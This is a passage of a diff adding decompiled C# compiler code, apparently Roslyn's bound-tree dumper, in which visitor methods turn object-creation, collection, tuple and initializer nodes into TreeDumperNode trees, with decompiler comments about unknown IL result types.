O, but got Unknown + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Expected O, but got Unknown + return new TreeDumperNode("objectCreationExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[14] + { + new TreeDumperNode("constructor", (object)node.Constructor, (IEnumerable)null), + new TreeDumperNode("constructorsGroup", (object)node.ConstructorsGroup, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("expanded", (object)node.Expanded, (IEnumerable)null), + new TreeDumperNode("argsToParamsOpt", (object)node.ArgsToParamsOpt, (IEnumerable)null), + new TreeDumperNode("defaultArguments", (object)node.DefaultArguments, (IEnumerable)null), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("initializerExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerExpressionOpt, null) }), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Expected O, but got Unknown + return new TreeDumperNode("unconvertedCollectionExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("elements", (object)null, node.Elements.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCollectionExpression(BoundCollectionExpression node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Expected O, but got Unknown + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Expected O, but got Unknown + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Expected O, but got Unknown + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Expected O, but got Unknown + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Expected O, but got Unknown + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_013c: Expected O, but got Unknown + return new TreeDumperNode("collectionExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[10] + { + new TreeDumperNode("collectionTypeKind", (object)node.CollectionTypeKind, (IEnumerable)null), + new TreeDumperNode("placeholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Placeholder, null) }), + new TreeDumperNode("collectionCreation", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.CollectionCreation, null) }), + new TreeDumperNode("collectionBuilderMethod", (object)node.CollectionBuilderMethod, (IEnumerable)null), + new TreeDumperNode("collectionBuilderInvocationPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.CollectionBuilderInvocationPlaceholder, null) }), + new TreeDumperNode("collectionBuilderInvocationConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.CollectionBuilderInvocationConversion, null) }), + new TreeDumperNode("elements", (object)null, node.Elements.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("collectionExpressionSpreadExpressionPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Expected O, but got Unknown + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Expected O, but got Unknown + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Expected O, but got Unknown + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Expected O, but got Unknown + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Expected O, but got Unknown + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Expected O, but got Unknown + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0146: Expected O, but got Unknown + return new TreeDumperNode("collectionExpressionSpreadElement", (object)null, (IEnumerable)(object)new TreeDumperNode[10] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("expressionPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionPlaceholder, null) }), + new TreeDumperNode("conversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Conversion, null) }), + new TreeDumperNode("enumeratorInfoOpt", (object)node.EnumeratorInfoOpt, (IEnumerable)null), + new TreeDumperNode("lengthOrCount", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LengthOrCount, null) }), + new TreeDumperNode("elementPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ElementPlaceholder, null) }), + new TreeDumperNode("iteratorBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IteratorBody, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTupleLiteral(BoundTupleLiteral node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Expected O, but got Unknown + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Expected O, but got Unknown + return new TreeDumperNode("tupleLiteral", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("inferredNamesOpt", (object)node.InferredNamesOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Expected O, but got Unknown + return new TreeDumperNode("convertedTupleLiteral", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("sourceTuple", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.SourceTuple, null) }), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("inferredNamesOpt", (object)node.InferredNamesOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Expected O, but got Unknown + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Expected O, but got Unknown + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Expected O, but got Unknown + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Expected O, but got Unknown + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Expected O, but got Unknown + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Expected O, but got Unknown + return new TreeDumperNode("dynamicObjectCreationExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[10] + { + new TreeDumperNode("name", (object)node.Name, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("initializerExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerExpressionOpt, null) }), + new TreeDumperNode("applicableMethods", (object)node.ApplicableMethods, (IEnumerable)null), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Expected O, but got Unknown + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Expected O, but got Unknown + return new TreeDumperNode("noPiaObjectCreationExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("guidString", (object)node.GuidString, (IEnumerable)null), + new TreeDumperNode("initializerExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerExpressionOpt, null) }), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitObjectInitializerExpression(BoundObjectInitializerExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + return new TreeDumperNode("objectInitializerExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("placeholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Placeholder, null) }), + new TreeDumperNode("initializers", (object)null, node.Initializers.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitObjectInitializerMember(BoundObjectInitializerMember node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Expected O, but got Unknown + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Expected O, but got Unknown + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Expected O, but got Unknown + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Expected O, but got Unknown + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Expected O, but got Unknown + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Expected O, but got Unknown + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Expected O, but got Unknown + return new TreeDumperNode("objectInitializerMember", (object)null, (IEnumerable)(object)new TreeDumperNode[12] + { + new TreeDumperNode("memberSymbol", (object)node.MemberSymbol, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("expanded", (object)node.Expanded, (IEnumerable)null), + new TreeDumperNode("argsToParamsOpt", (object)node.ArgsToParamsOpt, (IEnumerable)null), + new TreeDumperNode("defaultArguments", (object)node.DefaultArguments, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("receiverType", (object)node.ReceiverType, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("dynamicObjectInitializerMember", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("memberName", (object)node.MemberName, (IEnumerable)null), + new TreeDumperNode("receiverType", (object)node.ReceiverType, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + return new TreeDumperNode("collectionInitializerExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("placeholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Placeholder, null) }), + new TreeDumperNode("initializers", (object)null, node.Initializers.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCollectionElementInitializer(BoundCollectionElementInitializer node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Expected O, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Expected O, but got Unknown + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Expected O, but got Unknown + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Expected O, but got Unknown + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Expected O, but got Unknown + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Expected O, but got Unknown + return new TreeDumperNode("collectionElementInitializer", (object)null, (IEnumerable)(object)new TreeDumperNode[11] + { + new TreeDumperNode("addMethod", (object)node.AddMethod, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("implicitReceiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ImplicitReceiverOpt, null) }), + new TreeDumperNode("expanded", (object)node.Expanded, (IEnumerable)null), + new TreeDumperNode("argsToParamsOpt", (object)node.ArgsToParamsOpt, (IEnumerable)null), + new TreeDumperNode("defaultArguments", (object)node.DefaultArguments, (IEnumerable)null), + new TreeDumperNode("invokedAsExtensionMethod", (object)node.InvokedAsExtensionMethod, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + return new TreeDumperNode("dynamicCollectionElementInitializer", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("applicableMethods", (object)node.ApplicableMethods, (IEnumerable)null), + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitImplicitReceiver(BoundImplicitReceiver node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("implicitReceiver", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Expected O, but got Unknown + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Expected O, but got Unknown + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Expected O, but got Unknown + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Expected O, but got Unknown + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected O, but got Unknown + return new TreeDumperNode("anonymousObjectCreationExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("constructor", (object)node.Constructor, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("declarations", (object)null, node.Declarations.Select((BoundAnonymousPropertyDeclaration x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("anonymousPropertyDeclaration", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("property", (object)node.Property, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNewT(BoundNewT node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + return new TreeDumperNode("newT", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("initializerExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerExpressionOpt, null) }), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + 